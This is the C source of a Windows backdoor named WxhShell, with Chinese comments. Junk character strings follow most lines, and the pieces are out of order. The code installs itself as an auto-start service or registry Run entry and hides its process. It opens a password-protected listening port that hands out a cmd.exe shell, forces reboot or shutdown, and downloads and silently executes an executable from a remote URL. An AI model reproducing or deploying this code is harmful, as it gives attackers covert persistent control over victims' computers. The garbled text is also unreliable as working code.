    if(Boot(SHUTDOWN)) tJ$_lk ~6q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E5g3lf  
    else { t&e{_|i#+  
    closesocket(wsh); }a(dyr`S  
    ExitThread(0); 0*{%=M  
    } 5 #E`=C%  
    break; D_zZXbNc  
    } bq0zxg%  
  // 获取shell :P0mx   
  case 's': { SSMHoJGm  
    CmdShell(wsh); `*1p0~cu  
    closesocket(wsh); Jij*x>K>y  
    ExitThread(0); hv>\gBe i  
    break; p9{mS7R9T  
  } O)r4?<Q  
  // 退出 &\*(Q*2N  
  case 'x': { =]0&i]z[.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m^;f(IK5  
    CloseIt(wsh); t'k$&l}+  
    break; FJ)$f?=Qd  
    } g{&ui.ml&  
  // 离开 onxLyx|A  
  case 'q': { >}6%#CAf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {&1/V  
    closesocket(wsh); T1=fNF  
    WSACleanup(); ?^\|-Gr  
    exit(1); ,r\o}E2  
    break; ]Er$*7f  
        } I51@QJX  
  } *VT/  
  } </*6wpN  
7WZ+T"O{I  
  // 提示信息 Qq|57X)P*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lt>IX")  
} X45%e!  
  } A6(/;+n  
., 6-u  
  return; + ksVtG,  
} &^Q/,H~S  
$1`2 kM5  
// shell模块句柄 [ v*ju!  
int CmdShell(SOCKET sock) s!$7(Q86R  
{ zy }$i?  
STARTUPINFO si; $-sHWYZ  
ZeroMemory(&si,sizeof(si)); qY!Zt_Be6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :"/d|i`T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T9   
PROCESS_INFORMATION ProcessInfo; 1 ]b.fD  
char cmdline[]="cmd"; g3y+&Y_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h~zT ydnH  
  return 0; YUk\Q%  
} ZPYS$Ydy  
(SAs-  
// 自身启动模式 =D"#U#>;7&  
int StartFromService(void) 4'=y:v2  
{ 9XB8VKu8  
typedef struct "=MeM)K  
{ )l DD\J7  
  DWORD ExitStatus; {"KMs[M  
  DWORD PebBaseAddress; 92oFlEJ  
  DWORD AffinityMask; ^^ixa1H<  
  DWORD BasePriority; j?4qO]_Wx+  
  ULONG UniqueProcessId; X#^[<5  
  ULONG InheritedFromUniqueProcessId; x7 ,5  
}   PROCESS_BASIC_INFORMATION; }Jj}%XxKs  
.(k|wX[Fu~  
PROCNTQSIP NtQueryInformationProcess; 63IM]J  
R.<g3"Lm>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b@hqz!)l`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SXP]%{@ R/  
:gFx{*xN/9  
  HANDLE             hProcess; ~((O8@}J  
  PROCESS_BASIC_INFORMATION pbi; a0H+.W+]  
~*];pV]A[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =[7Av>  
  if(NULL == hInst ) return 0; 4;2uW#dG"  
NC6&x=!3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >Cq<@$I2EB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a/xn'"eli  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1T n}  
E|shs=I  
  if (!NtQueryInformationProcess) return 0; M/`lM$98:  
Z6MO^_m2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dk51z@  
  if(!hProcess) return 0; yyTnL 2Y9  
S)"Jf?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2&J)dtqz  
YKK*ER0  
  CloseHandle(hProcess); ~WF\  
W=+ Y|R!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b4Ekqas  
if(hProcess==NULL) return 0; !&@615Vtw  
[AJJSd/:  
HMODULE hMod; jT;;/Fd3/  
char procName[255]; lNO;O}8  
unsigned long cbNeeded; V0a3<6@4  
-jm Y)(\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +R75v)  
TIg3` Fon  
  CloseHandle(hProcess); |-~Y#]  
&=mtc%mL  
if(strstr(procName,"services")) return 1; // 以服务启动 XW92gI<O  
@BMx!r5kn  
  return 0; // 注册表启动 Bk{]g=DO  
} H3oFORh  
% |L=l{g  
// 主模块 +Vdpy (  
int StartWxhshell(LPSTR lpCmdLine) Z0r'S]fe  
{ buHJB*?9  
  SOCKET wsl; vW@=<aS Z  
BOOL val=TRUE; <9b &<K:  
  int port=0; ;}p  
  struct sockaddr_in door; [{/jI\?v  
)0k53-h&  
  if(wscfg.ws_autoins) Install(); )D%~` ,#pQ  
J] r^W)O  
port=atoi(lpCmdLine); 5 SQ 8}Or3  
l9"s>PU  
if(port<=0) port=wscfg.ws_port; ZSo)  
j B{8u&kz)  
  WSADATA data; f* wx<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %\:Wi#w>  
b| (: [nB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "d}Gp9+$VY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <%mRSv  
  door.sin_family = AF_INET; h Xya*#n#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bcz:q/f}@  
  door.sin_port = htons(port); RPbZ(.  
AQ^u   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0<*<$U  
closesocket(wsl); :Llb< MY2  
return 1; /dIzY0<aO  
} HjwE+:w  
m(P]k'ZH?  
  if(listen(wsl,2) == INVALID_SOCKET) { 62NsJ<#>  
closesocket(wsl); N6TH}~62}  
return 1; :rP=t ,  
} #lO Mm9  
  Wxhshell(wsl); I( Mm?9F  
  WSACleanup(); z'7]h TA  
TkF[x%o  
return 0; Pc]HP  
7-V/RChBm  
} 5 IpDeJ$  
u$`a7Lp,n  
// 以NT服务方式启动 Ew$C ;&9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EiaW1Cs  
{ 6wg^FD_Q  
DWORD   status = 0; bhs _9ivw  
  DWORD   specificError = 0xfffffff; uEx-]F  
UGatWj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3iU=c&P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U%/+B]6jP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^kSqsT"  
  serviceStatus.dwWin32ExitCode     = 0; O&hTNIfi  
  serviceStatus.dwServiceSpecificExitCode = 0; &,)&%Sg[  
  serviceStatus.dwCheckPoint       = 0; 7x8  yxE  
  serviceStatus.dwWaitHint       = 0; 7PF%76TO  
VS|2|n1<6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %SUQ9\SEs  
  if (hServiceStatusHandle==0) return; /Gfw8g\}  
:MDKC /mC  
status = GetLastError(); $`'/+x"%  
  if (status!=NO_ERROR) L4l!96]a  
{ ;GD]dW#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z #m+ObHK1  
    serviceStatus.dwCheckPoint       = 0; -%4,@ x`  
    serviceStatus.dwWaitHint       = 0; t3^&; &[  
    serviceStatus.dwWin32ExitCode     = status; 9Gz=lc[!7  
    serviceStatus.dwServiceSpecificExitCode = specificError; xd0 L{ue.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7o}J%z  
    return; Yoll?_k+  
  } uvS)8-o&F  
] }X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ft Wv~Eh  
  serviceStatus.dwCheckPoint       = 0; Yz93'HDB  
  serviceStatus.dwWaitHint       = 0; ?Ss!e$jf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \lNN Msd&  
} HkVB80hv  
SZCze"`[  
// 处理NT服务事件,比如:启动、停止 rQ snhv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j_ 7mNIr  
{ h zn6kbv  
switch(fdwControl) ;xn0;V'=  
{ mXs; b 2r^  
case SERVICE_CONTROL_STOP: Qe(:|q _  
  serviceStatus.dwWin32ExitCode = 0; mB)bcuPv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a"u0Q5J  
  serviceStatus.dwCheckPoint   = 0; G  .4X'  
  serviceStatus.dwWaitHint     = 0; 5Jnlz@P9  
  { 6D_D';o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }SCM I4\  
  } #A8sLkY  
  return; Fv`,3aNB  
case SERVICE_CONTROL_PAUSE: `~q<N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rbv;?'O$L  
  break; eb$#A _m  
case SERVICE_CONTROL_CONTINUE: #gw]'&{8D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BING{ew  
  break; [z9Z5sLO  
case SERVICE_CONTROL_INTERROGATE: 0+b1vhQ  
  break; Yc*; /T}  
}; A\5L 7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3"\lu?-E  
} 8DaL,bi*.  
Od)C&N=y  
// 标准应用程序主函数 ^5 Tqy(M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e\75:oQ  
{ <1M-Ro?5k  
}*"p?L^p{  
// 获取操作系统版本 !jR=pIfq  
OsIsNt=GetOsVer(); sCHJ&>m5-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @U}1EC{A  
Pk)1WK7E  
  // 从命令行安装 jWfa;&Ra  
  if(strpbrk(lpCmdLine,"iI")) Install(); g eCM<]  
_zMW=nypdx  
  // 下载执行文件 u,4eCxYE$  
if(wscfg.ws_downexe) { 3=ymm^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jo@J}`\Zt  
  WinExec(wscfg.ws_filenam,SW_HIDE); N ZSSg2TX#  
} V3j= Kf  
&@YmA1Yu)E  
if(!OsIsNt) { h9W^[6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hj,A5#|=J  
HideProc(); 'uEl~> l7  
StartWxhshell(lpCmdLine); kMd.h[X~  
} f& '  
else VW4r{&rS  
  if(StartFromService()) C;urBsC  
  // 以服务方式启动 Th%Sjgsn  
  StartServiceCtrlDispatcher(DispatchTable); HHsmLo c4  
else 4{`{WI{  
  // 普通方式启动 5XB H$&Td  
  StartWxhshell(lpCmdLine); V "h +L7T  
')3 bl3:  
return 0; CeC6hGR5  
} E?0%Z&1h  
0"bcdG<}  
LFtt gY  
`W*U4?M  
=========================================== [hj6N*4y  
n6a`;0f[R  
<e</m)j  
^DwYOo2B  
Jg| XH L)  
Jze:[MYS  
" 3'u-'  
>\3V a  
#include <stdio.h> k+pr \d~  
#include <string.h> G<v&4/\p`M  
#include <windows.h> ?<'}r7D   
#include <winsock2.h> YcpoL@ab  
#include <winsvc.h> >I&5j/&}+  
#include <urlmon.h> 9mTJ|sN:e  
7O-x<P;  
#pragma comment (lib, "Ws2_32.lib") :G%61x&=Zc  
#pragma comment (lib, "urlmon.lib") Z>5b;8  
E09 :E  
#define MAX_USER   100 // 最大客户端连接数 ut7zVp<"  
#define BUF_SOCK   200 // sock buffer ^3L0w}#  
#define KEY_BUFF   255 // 输入 buffer v,>Dbxn  
,1o FPa{?  
#define REBOOT     0   // 重启 W v+?TEP  
#define SHUTDOWN   1   // 关机 v #j$;  
}?Ai87-{  
#define DEF_PORT   5000 // 监听端口 wEvVL  
(0_2sfS  
#define REG_LEN     16   // 注册表键长度 UrEs4R1#  
#define SVC_LEN     80   // NT服务名长度 vnZC,J `  
9m~p0ILh  
// 从dll定义API `&ckZiq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U#WF ;q0L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -z%^)VE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N64dO[op  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +OWX'~fd<  
CdjI`  
// wxhshell配置信息 5uj?#)N  
struct WSCFG { JYbL?N  
  int ws_port;         // 监听端口 fHd#u%63K  
  char ws_passstr[REG_LEN]; // 口令 mSl.mi(JiZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no > jc [nk  
  char ws_regname[REG_LEN]; // 注册表键名 pJ'"j 6Q  
  char ws_svcname[REG_LEN]; // 服务名 0[?Xxk}s0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fSvM(3Y<Qh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :(*V?WI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )cMh0SGcM1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _TQj~W<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )W _v:?A9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Iom'Y@x  
CU2*z(]&  
}; y,,dCca  
|~mOfuQb  
// default Wxhshell configuration }Sh?S]]`  
struct WSCFG wscfg={DEF_PORT, N]=q|D  
    "xuhuanlingzhe", y(yHt= r  
    1, eiaFaYe\  
    "Wxhshell", -3Z,EaG^  
    "Wxhshell", a fW@T2  
            "WxhShell Service", C{xaENp  
    "Wrsky Windows CmdShell Service", wIaony  
    "Please Input Your Password: ", !@*7e:l  
  1, h_,i&d@(  
  "http://www.wrsky.com/wxhshell.exe", `%9 uE(  
  "Wxhshell.exe" T;a}#56{^  
    }; ag;pN*z  
jZkcBIK2  
// 消息定义模块 yEoF4bt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LxSpctiNx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Np0wg0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q1I6$8:7  
char *msg_ws_ext="\n\rExit."; a:OQGhc=  
char *msg_ws_end="\n\rQuit."; U}rU~3N  
char *msg_ws_boot="\n\rReboot..."; qv KG-|j  
char *msg_ws_poff="\n\rShutdown..."; CXx*_@}MU  
char *msg_ws_down="\n\rSave to "; SBk4_J/_  
&>W$6>@  
char *msg_ws_err="\n\rErr!"; goOCu  
char *msg_ws_ok="\n\rOK!"; Y0dEH^I  
' ;FnIZ  
char ExeFile[MAX_PATH]; h# o6K#  
int nUser = 0; Vl=l?A8  
HANDLE handles[MAX_USER]; m6\E$;`  
int OsIsNt; rCbDu&k]  
qUW! G&R  
SERVICE_STATUS       serviceStatus; }"P|`"WW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &4x}ppX  
#3@rS  
// 函数声明 x$.^"l-vX  
int Install(void); )9'K($  
int Uninstall(void); U175{N%3  
int DownloadFile(char *sURL, SOCKET wsh); {14fA)`%  
int Boot(int flag); p\tm:QWD;  
void HideProc(void); *-=(Q`3  
int GetOsVer(void); Ls$D$/:q?  
int Wxhshell(SOCKET wsl); U} e!Wjrc  
void TalkWithClient(void *cs); 0oZ= yh  
int CmdShell(SOCKET sock); lH x^D;m6  
int StartFromService(void); $m{:C;UH  
int StartWxhshell(LPSTR lpCmdLine); uLL]A>vR  
n&;85IF1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kYqU9cB~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bz2ztH9 n  
n,V[eW#m'L  
// 数据结构和表定义 %G_B^p4  
SERVICE_TABLE_ENTRY DispatchTable[] = d *|Y o  
{ "fCu=@i  
{wscfg.ws_svcname, NTServiceMain}, ll<Xz((o  
{NULL, NULL} $%CF8\0  
}; rJT^H5!o"  
,c$_t+  
// 自我安装 fF$<7O)+]  
int Install(void) 0w \zLU  
{ U9:zVy  
  char svExeFile[MAX_PATH]; ,]ma+(|  
  HKEY key; D3Ig>gKo?m  
  strcpy(svExeFile,ExeFile); 5T_n %vz  
Ic"ybj`  
// 如果是win9x系统,修改注册表设为自启动 Ustv{:7v  
if(!OsIsNt) { Yq0| J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jk; clwyz/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x=hiQ>BIO0  
  RegCloseKey(key); 8>2.UrC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |+FubYf?$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M=.n7RY-  
  RegCloseKey(key); [LjT*bi  
  return 0; +j`5F3@  
    } av}k)ZT_  
  } @;zl  
} q#Z@+(^  
else { !N\@'F!  
7 S#J>*  
// 如果是NT以上系统,安装为系统服务 *v jmy/3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )BZ.Sv  
if (schSCManager!=0) 53;}Nt#R  
{ |"X*@s\'  
  SC_HANDLE schService = CreateService p*R;hU  
  ( lk^Ol&6  
  schSCManager, b,l$1{  
  wscfg.ws_svcname, 0U(@= 7V  
  wscfg.ws_svcdisp, G\/zkrxmv  
  SERVICE_ALL_ACCESS, ~drS} V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F'={q{2wH  
  SERVICE_AUTO_START, *KZYv=s,u  
  SERVICE_ERROR_NORMAL, ?yrX)3hyH  
  svExeFile, RVnjNy;O`  
  NULL, 1y4|{7bb  
  NULL, )0.kv2o.  
  NULL, ajbA\/\G;  
  NULL, $B 2J T9  
  NULL i^X]j  
  ); 9N#_( uwt  
  if (schService!=0) fa jGZyd0:  
  { >a!/QMh  
  CloseServiceHandle(schService); fy>{QC\  
  CloseServiceHandle(schSCManager); ^b4 9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e8>})  
  strcat(svExeFile,wscfg.ws_svcname); VZp5)-!\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,uSMQS-O'4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &n}]w+w  
  RegCloseKey(key); Dzpq_F!;V  
  return 0; XO>KZV7)  
    } |IeTqEu9  
  } Avge eJi  
  CloseServiceHandle(schSCManager); m4[;(1  
} vONasD9At  
} du $:jN\}  
%+aCJu[k(z  
return 1; aq>kTaz  
} J|W<;  
2prU  
// 自我卸载 @+&LYy72  
int Uninstall(void) .Yamc#A-  
{ yJ[0WY8<kC  
  HKEY key; A]_7}<<N  
a(m2n.0'>  
if(!OsIsNt) { b <tNk]7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n2"a{Ofhlf  
  RegDeleteValue(key,wscfg.ws_regname); !4ocZmj\  
  RegCloseKey(key); HDz5&7* .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AmUr.ofu  
  RegDeleteValue(key,wscfg.ws_regname); 3<e=g)F  
  RegCloseKey(key); #>a\>iKQ2q  
  return 0; W- $Z(Z XL  
  } pE3?"YO  
} 3p$?,0ELH  
} Oz75V|D  
else { =1@u  
0gu_yg!R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vRYQ{:  
if (schSCManager!=0) k`cfG\;r  
{ H-!,yte  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cRC6 s8  
  if (schService!=0) v1#otrf  
  { I:-Wy"i  
  if(DeleteService(schService)!=0) { s2a{>II6  
  CloseServiceHandle(schService); j}#w )M  
  CloseServiceHandle(schSCManager); ,=uD^n:  
  return 0; &.F4 b~A7  
  } b.Os iT;_j  
  CloseServiceHandle(schService); ;gD})@  
  } K$z2YJ%  
  CloseServiceHandle(schSCManager); #]-SJWf3  
} fQ7V/x!  
} tb 5`cube  
mwO6g~@ `  
return 1; qRu~$K  
} 9v#CE!  
Mg+2. 8%  
// 从指定url下载文件 ,10=  
int DownloadFile(char *sURL, SOCKET wsh) g%aYDl  
{ ~ \r*  
  HRESULT hr; 1Te %F+7  
char seps[]= "/"; \a<wKTkn  
char *token; 2V]UJ<  
char *file; IM*y|UHt  
char myURL[MAX_PATH]; _OYasJUMG  
char myFILE[MAX_PATH]; D2 #ZpFp"h  
v6|RJt?  
strcpy(myURL,sURL); S*pGMuui  
  token=strtok(myURL,seps); 2y75  
  while(token!=NULL) > [)7U _|p  
  { L]7=?vN=8  
    file=token; +tB=OwU%0  
  token=strtok(NULL,seps); rD tY[  
  } rV.}PtcFY  
Z<oaK  
GetCurrentDirectory(MAX_PATH,myFILE); #{0HYg?(f  
strcat(myFILE, "\\"); -au^;CM  
strcat(myFILE, file); eNh39er  
  send(wsh,myFILE,strlen(myFILE),0); , };& tR  
send(wsh,"...",3,0); cs48*+m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); " > ypIR<  
  if(hr==S_OK) *YI98  
return 0; P-[-pi@  
else 3F"lXguS  
return 1; @ 6\I~s(  
AhN4mc@  
} A.F%Ycq  
#&+{mCjs  
// 系统电源模块 y<UK:^t31V  
int Boot(int flag) PxX 4[ P  
{  y`iBFC;_  
  HANDLE hToken; s3N'02G  
  TOKEN_PRIVILEGES tkp; z9f-.72"X  
thh. A  
  if(OsIsNt) { BkAm/R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UsG~row:!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 299H$$WS,Z  
    tkp.PrivilegeCount = 1; >dXGee>'M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -]Bq|qTH[(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j a[Et/r  
if(flag==REBOOT) { y8y5*e~A-)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zC:ASt  
  return 0; ^S<Y>Nm]  
} n)/z0n!\  
else { @)+AaC#-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) },?kk1vIT{  
  return 0; uh_RGM&  
} ,oe <  
  } x^qVw5{n  
  else { of~4Q{f$6  
if(flag==REBOOT) { CZe ]kXNv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1#g2A0U,  
  return 0; wo}H'Q}Hj  
} %QH$ipM  
else { B4/>H|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8,Z_{R#|  
  return 0; S>+|OCl";  
} G5_=H,Vmd  
} LrfVh-}|:Y  
`RT>}_j  
return 1; G>_*djUf  
} f%JIp#B  
A Q U+mo  
// win9x进程隐藏模块 ?,Xw[pR  
void HideProc(void) b6M[q_   
{ Y Uc+0  
f`(UQJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R{4^t97wH{  
  if ( hKernel != NULL ) \w>y`\6mX  
  { YqD=>P[O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +/7?HGf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /N+dQe  
    FreeLibrary(hKernel); Gu,wF(x7A  
  } K3&qq[8.e  
.sW|Id )  
return; Paq4  
} wm@@$  
`hm-.@f,9  
// 获取操作系统版本 bs&43Ae  
int GetOsVer(void) Wi<m{.%\E  
{ 0auYG><=  
  OSVERSIONINFO winfo; =*.~BG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P;no?  
  GetVersionEx(&winfo); B@))8.h]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gg/-k;@ Rf  
  return 1; uMv,zO5  
  else cZ*@$%_  
  return 0; Hio0HL-  
} .43'HV  
`[yKFa I  
// 客户端句柄模块 V &T~zh1  
int Wxhshell(SOCKET wsl) /s?`&1v|r  
{ DfD&)tsMQ  
  SOCKET wsh;  > |=ts  
  struct sockaddr_in client;  }v{LRRi  
  DWORD myID; 4"ZP 'I;  
]N]!o#q}L  
  while(nUser<MAX_USER) |-ALklXr  
{  /maJtX'  
  int nSize=sizeof(client); RP|`HkP-2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R\f+SvE  
  if(wsh==INVALID_SOCKET) return 1; q<<v,ihh  
7A7?GDW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G_JA-@i%  
if(handles[nUser]==0) q i;1L Kc  
  closesocket(wsh); Tidn-2L73O  
else $I>w]  
  nUser++; T>Z<]s  
  } 8,%^ M9zBP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wlvgg  
,`Z1m o>n  
  return 0; kD%( _K5  
} } OR+Io  
"k@/ 3  
// 关闭 socket X?',n 1  
void CloseIt(SOCKET wsh)  _[3D  
{ w9imKVry  
closesocket(wsh); 33q}CzK  
nUser--; b%`1cV  
ExitThread(0); gf@:R'$:+  
} ObS3 M  
ITBE|b  
// 客户端请求句柄 /6* 42[r  
void TalkWithClient(void *cs) EVSX.'&f  
{ _{KG 4+5\X  
cT,sh~-x,  
  SOCKET wsh=(SOCKET)cs; m s \}  
  char pwd[SVC_LEN]; f}e`XA?  
  char cmd[KEY_BUFF]; n\53wh@+  
char chr[1]; \8cx6 G'  
int i,j; niyV8v  
HV|,}Wks6s  
  while (nUser < MAX_USER) { h]gp^?=  
,"ZMRq  
if(wscfg.ws_passstr) { }Y\%RA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KRzAy)8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6_Y,eL]"  
  //ZeroMemory(pwd,KEY_BUFF); ?tbrbkx  
      i=0; 5j(k:a+!H  
  while(i<SVC_LEN) { 5]0 <9a  
vs4>T^8e  
  // 设置超时 y)@wjH{6  
  fd_set FdRead; L8B! u9%  
  struct timeval TimeOut; rILYI;'o  
  FD_ZERO(&FdRead); ?caSb =f  
  FD_SET(wsh,&FdRead); S9.o/mr  
  TimeOut.tv_sec=8; hgq;`_;1,  
  TimeOut.tv_usec=0; 4WB0Pt{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M= (u]%\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ygcm|PrS  
AwR =]W;j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @yYkti;4-  
  pwd=chr[0]; GbI/4<)l}  
  if(chr[0]==0xd || chr[0]==0xa) { !nnC3y{G  
  pwd=0; $& c*'3  
  break; J&_n9$  
  } FSO).=#  
  i++; 8s@3hXD&  
    } TWTb?HP  
h?U O&(  
  // 如果是非法用户,关闭 socket Vurq t_nb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "AqB$^S9t  
} sI2^Qp@O1  
;_=&-mz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A#,ZUOPGH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y~V(aih}D  
i|kRK7[6B  
while(1) { ckn(`I  
uxz^/Gk  
  ZeroMemory(cmd,KEY_BUFF); 2~V*5~fb  
4+tEFxvX&  
      // 自动支持客户端 telnet标准   <_+X 88  
  j=0; *4 n)  
  while(j<KEY_BUFF) { r JB}qYD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8P`"M#fI  
  cmd[j]=chr[0]; :4|4=mkr  
  if(chr[0]==0xa || chr[0]==0xd) { k5)om;.w  
  cmd[j]=0; q^nVN#  
  break; -?a 26o%e  
  } <UCl@5g&  
  j++; %iB,IEw  
    } V]^$S"Tv  
G~m<;  
  // 下载文件 gqR(.Pu  
  if(strstr(cmd,"http://")) { F'Z,]b'st3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wIgS3K  
  if(DownloadFile(cmd,wsh)) mkpMfPt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{Q {'De  
  else d(K +);!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;VK.2^jW!  
  } /wv0i3_e  
  else { UF|p';oom  
1~gCtBRM  
    switch(cmd[0]) { EM_d8o)`B  
  Wn6Sn{8W{  
